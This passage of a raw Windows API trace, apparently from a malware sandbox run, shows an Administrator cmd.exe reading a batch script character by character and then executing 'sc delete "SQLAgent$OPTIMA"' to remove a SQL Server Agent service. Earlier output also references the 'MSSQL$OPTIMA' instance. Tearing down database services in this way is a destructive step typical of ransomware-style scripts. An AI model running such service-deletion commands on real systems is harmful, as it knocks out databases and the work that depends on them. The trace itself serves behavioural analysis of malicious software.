lpWideCharStr=" \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0077.238] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.238] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.239] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.239] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="\"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0077.239] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.239] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.239] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.239] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="SSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0077.239] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.239] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.239] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.240] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="QSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0077.240] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.240] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.240] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.240] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="LQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0077.240] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.240] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.240] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.240] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="AL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0077.240] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.240] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.240] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.240] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="g$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0077.240] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.240] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.240] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.240] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="eOPTIMA\"\nr$OPTIMA\"\n") returned 1 [0077.240] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.240] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.240] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.240] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="nPTIMA\"\nr$OPTIMA\"\n") returned 1 [0077.241] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.241] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.241] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.241] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="tTIMA\"\nr$OPTIMA\"\n") returned 1 [0077.241] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.241] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.241] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.241] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="$IMA\"\nr$OPTIMA\"\n") returned 1 [0077.241] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.241] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.241] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.241] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="OMA\"\nr$OPTIMA\"\n") returned 1 [0077.241] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.241] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.241] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.241] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="PA\"\nr$OPTIMA\"\n") returned 1 [0077.241] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.241] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.241] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.241] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="T\"\nr$OPTIMA\"\n") returned 1 [0077.242] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.242] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.242] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.242] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="I\nr$OPTIMA\"\n") returned 1 [0077.242] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.242] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.242] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.242] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="Mr$OPTIMA\"\n") returned 1 [0077.242] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.242] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.242] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.242] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e352, cchWideChar=1 | out: lpWideCharStr="A$OPTIMA\"\n") returned 1 [0077.242] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.242] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.242] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.242] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e354, cchWideChar=1 | out: lpWideCharStr="\"OPTIMA\"\n") returned 1 [0077.242] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.242] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.242] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.242] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e356, cchWideChar=1 | out: lpWideCharStr="\nPTIMA\"\n") returned 1 [0077.243] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.243] GetFileType (hFile=0xb8) returned 0x3 [0077.243] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.243] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.243] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.243] GetFileType (hFile=0x120) returned 0x3 [0077.243] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.243] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"SQLAgent$OPTIMA\"\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"SQLAgent$OPTIMA\"\n", lpUsedDefaultChar=0x0) returned 29 [0077.243] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x1c, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x1c, lpOverlapped=0x0) returned 1 [0077.243] GetProcessHeap () returned 0x240000 [0077.243] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0077.243] GetProcessHeap () returned 0x240000 [0077.243] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0077.243] GetProcessHeap () returned 0x240000 [0077.243] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0077.243] GetProcessHeap () returned 0x240000 [0077.243] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0077.243] GetProcessHeap () returned 0x240000 [0077.243] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x44) returned 0x25aa40 [0077.243] GetConsoleOutputCP () returned 0x1b5 [0077.244] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0077.244] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.244] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.244] GetProcessHeap () returned 0x240000 [0077.244] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0077.244] GetProcessHeap () returned 0x240000 [0077.244] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4a) returned 0x259b30 [0077.244] GetProcessHeap () returned 0x240000 [0077.244] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c530 [0077.244] SetErrorMode (uMode=0x0) returned 0x1 [0077.244] SetErrorMode (uMode=0x1) returned 0x0 [0077.245] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c540, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0077.245] SetErrorMode (uMode=0x1) returned 0x1 [0077.245] GetProcessHeap () returned 0x240000 [0077.245] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c530, Size=0x62) returned 0x25c530 [0077.245] GetProcessHeap () returned 0x240000 [0077.245] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c530) returned 0x62 [0077.245] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0077.245] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0077.245] GetProcessHeap () returned 0x240000 [0077.245] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0077.245] GetProcessHeap () returned 0x240000 [0077.245] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0077.245] GetProcessHeap () returned 0x240000 [0077.245] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0077.245] GetProcessHeap () returned 0x240000 [0077.245] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0077.245] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0077.245] GetProcessHeap () returned 0x240000 [0077.245] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x2597e0 [0077.245] GetProcessHeap () returned 0x240000 [0077.245] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x2597e0, Size=0x7e) returned 0x2597e0 [0077.245] GetProcessHeap () returned 0x240000 [0077.245] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2597e0) returned 0x7e [0077.245] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.246] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.246] GetLastError () returned 0x2 [0077.246] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.246] GetLastError () returned 0x2 [0077.246] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.246] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259870 [0077.246] FindClose (in: hFindFile=0x259870 | out: hFindFile=0x259870) returned 1 [0077.246] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.247] GetLastError () returned 0x2 [0077.247] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259870 [0077.247] FindClose (in: hFindFile=0x259870 | out: hFindFile=0x259870) returned 1 [0077.247] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0077.247] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0077.247] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.247] GetProcessHeap () returned 0x240000 [0077.247] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0077.247] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.247] GetProcessHeap () returned 0x240000 [0077.247] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xb0) returned 0x259180 [0077.247] GetProcessHeap () returned 0x240000 [0077.248] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xb0 [0077.248] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"SQLAgent$OPTIMA\"") returned 1 [0077.248] GetProcessHeap () returned 0x240000 [0077.248] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0077.248] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0077.248] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0077.248] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0077.249] GetProcessHeap () returned 0x240000 [0077.249] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0077.249] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0077.249] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0077.249] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0077.249] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0077.249] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.249] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.249] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.249] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0077.249] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0077.249] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0077.249] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0077.249] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0077.249] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0077.249] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0077.249] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0077.249] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0077.249] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0077.249] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0077.249] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.249] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.249] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.249] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.249] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.249] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.250] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.250] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.250] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0077.250] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0077.250] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0077.250] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0077.250] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0077.250] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0077.250] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0077.250] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0077.250] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0077.250] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0077.250] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0077.250] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0077.250] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0077.250] GetProcessHeap () returned 0x240000 [0077.250] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0077.250] GetProcessHeap () returned 0x240000 [0077.250] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0077.250] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"SQLAgent$OPTIMA\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"SQLAgent$OPTIMA\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete \"SQLAgent$OPTIMA\"", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0x83c, dwThreadId=0x82c)) returned 1 [0077.254] CloseHandle 